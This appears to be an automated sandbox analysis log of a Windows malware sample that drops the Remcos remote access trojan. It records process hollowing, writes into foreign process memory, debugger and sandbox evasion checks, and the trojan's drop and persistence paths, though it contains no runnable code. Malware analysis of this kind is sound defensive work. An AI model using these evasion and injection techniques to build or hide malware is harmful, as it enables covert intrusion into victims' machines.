Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040F7A7 Sleep,ExitProcess,		6_1_0040F7A7
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040F7A7 Sleep,ExitProcess,		10_1_0040F7A7

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,		6_1_0041A748
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,		10_1_0041A748

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Dropped PE file which has not been started: C:\Users\Public\Libraries\easinvoker.exe

Jump to dropped file

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Evaded block: after key decision	graph_6-47456
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Evaded block: after key decision	graph_6-47481
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Evaded block: after key decision
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Evaded block: after key decision
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Evaded block: after key decision

Source: C:\ProgramData\Remcos\remcos.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_7-6685

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	API coverage: 6.4 %
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	API coverage: 6.3 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D658CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02D658CC
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_1_00409253
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	6_1_0041C291
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	6_1_0040C34D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	6_1_00409665
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0044E879 FindFirstFileExA,	6_1_0044E879
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	6_1_0040880C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040783C FindFirstFileW,FindNextFileW,	6_1_0040783C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	6_1_00419AF5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	6_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	6_1_0040BD37
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 7_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	7_2_0040128D
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 7_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	7_2_00401612
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_1_00409253
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	10_1_0041C291
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	10_1_0040C34D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	10_1_00409665
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0044E879 FindFirstFileExA,	10_1_0044E879
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	10_1_0040880C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040783C FindFirstFileW,FindNextFileW,	10_1_0040783C
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,	10_1_00419AF5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	10_1_0040BB30
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	10_1_0040BD37
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 12_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	12_2_0040128D
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 12_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	12_2_00401612

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

6_1_00407C97

Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.00000000006E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.00000000006B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(0o%SystemRoot%\system32\mswsock.dll
Source: udVh4Ist4Z.exe, 00000000.00000002.2140385254.00000000006E4000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.0000000000902000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 00000008.00000003.2293558943.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.0000000000726000.00000004.00000020.00020000.00000000.sdmp, Xjfxsfmn.PIF, 0000000F.00000003.2559378885.00000000006F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	API call chain: ExitProcess graph end node	graph_0-38658
Source: C:\ProgramData\Remcos\remcos.exe	API call chain: ExitProcess graph end node	graph_7-6683
Source: C:\ProgramData\Remcos\remcos.exe	API call chain: ExitProcess graph end node	graph_7-6679
Source: C:\ProgramData\Remcos\remcos.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\Remcos\remcos.exe	API call chain: ExitProcess graph end node
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_1_004349F9

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D77AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,

0_2_02D77AC0

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004432B5 mov eax, dword ptr fs:[00000030h]		6_1_004432B5
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004432B5 mov eax, dword ptr fs:[00000030h]		10_1_004432B5

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00412077 GetProcessHeap,HeapFree,

6_1_00412077

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_1_004349F9
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00434B47 SetUnhandledExceptionFilter,	6_1_00434B47
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_1_0043BB22
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_1_00434FDC
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_1_004349F9
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00434B47 SetUnhandledExceptionFilter,	10_1_00434B47
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_1_0043BB22
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_1_00434FDC

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 1E060000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 1E060000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory allocated: C:\Users\Public\Libraries\nmfsxfjX.pif base: 18100000 protect: page execute and read and write	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Section unmapped: C:\Users\Public\Libraries\nmfsxfjX.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Section unmapped: C:\Users\Public\Libraries\nmfsxfjX.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Section unmapped: C:\Users\Public\Libraries\nmfsxfjX.pif base address: 400000	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Memory written: C:\Users\Public\Libraries\nmfsxfjX.pif base: 2CD008	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory written: C:\Users\Public\Libraries\nmfsxfjX.pif base: 218008	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Memory written: C:\Users\Public\Libraries\nmfsxfjX.pif base: 370008	Jump to behavior

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		6_1_004120F7
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe		10_1_004120F7

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00419627 mouse_event,

6_1_00419627

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\ProgramData\Remcos\remcos.exe "C:\ProgramData\Remcos\remcos.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"	Jump to behavior
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Process created: C:\Users\Public\Libraries\nmfsxfjX.pif C:\Users\Public\Libraries\nmfsxfjX.pif	Jump to behavior
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Process created: C:\Users\user\AppData\Roaming\Remcos\remcos.exe "C:\Users\user\AppData\Roaming\Remcos\remcos.exe"

Source: C:\Users\Public\Libraries\nmfsxfjX.pif

Code function: 6_1_00434C52 cpuid

6_1_00434C52

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_02D7D5D0
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02D65A90
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: GetLocaleInfoA,	0_2_02D6A7CC
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: GetLocaleInfoA,	0_2_02D6A780
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02D65B9C
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_02D7D5D0
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	0_2_02D85FA0
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	6_1_00452036
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_1_004520C3
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: GetLocaleInfoW,	6_1_00452313
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: EnumSystemLocalesW,	6_1_00448404
